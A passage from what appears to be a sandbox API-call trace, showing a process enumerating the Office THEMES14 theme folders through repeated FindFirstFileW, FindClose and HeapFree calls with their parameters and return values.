ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0059.459] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0059.459] GetProcessHeap () returned 0x730000 [0059.459] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0059.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0059.553] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0059.553] GetProcessHeap () returned 0x730000 [0059.553] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0059.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0059.896] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0059.896] GetProcessHeap () returned 0x730000 [0059.896] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0059.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0060.443] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0060.443] GetProcessHeap () returned 0x730000 [0060.443] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0060.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0060.819] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0060.819] GetProcessHeap () returned 0x730000 [0060.819] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0060.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0061.351] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0061.351] GetProcessHeap () returned 0x730000 [0061.351] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0061.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0061.351] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0061.351] GetProcessHeap () returned 0x730000 [0061.351] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0061.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0061.725] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0061.725] GetProcessHeap () returned 0x730000 [0061.725] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0061.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0061.825] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0061.825] GetProcessHeap () returned 0x730000 [0061.825] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0061.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0061.984] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0061.985] GetProcessHeap () returned 0x730000 [0061.985] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0061.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0062.126] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0062.127] GetProcessHeap () returned 0x730000 [0062.127] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0062.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0062.339] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0062.350] GetProcessHeap () returned 0x730000 [0062.350] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0062.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0062.350] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0062.350] GetProcessHeap () returned 0x730000 [0062.350] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0062.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0062.628] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0062.628] GetProcessHeap () returned 0x730000 [0062.629] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0062.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0063.855] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0063.855] GetProcessHeap () returned 0x730000 [0063.855] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0063.855] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0063.855] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0063.856] GetProcessHeap () returned 0x730000 [0063.856] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0063.856] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.109] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.109] GetProcessHeap () returned 0x730000 [0064.109] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.110] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.110] GetProcessHeap () returned 0x730000 [0064.110] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.111] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.111] GetProcessHeap () returned 0x730000 [0064.111] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.112] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.112] GetProcessHeap () returned 0x730000 [0064.112] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.113] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.113] GetProcessHeap () returned 0x730000 [0064.113] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.113] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.113] GetProcessHeap () returned 0x730000 [0064.113] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.117] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.117] GetProcessHeap () returned 0x730000 [0064.117] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.118] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.118] GetProcessHeap () returned 0x730000 [0064.118] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.123] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.123] GetProcessHeap () returned 0x730000 [0064.123] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.124] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.124] GetProcessHeap () returned 0x730000 [0064.124] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.125] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.125] GetProcessHeap () returned 0x730000 [0064.125] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.125] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.126] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.126] GetProcessHeap () returned 0x730000 [0064.126] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.127] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.127] GetProcessHeap () returned 0x730000 [0064.127] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0064.127] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0064.127] GetProcessHeap () returned 0x730000 [0064.127] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0064.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, 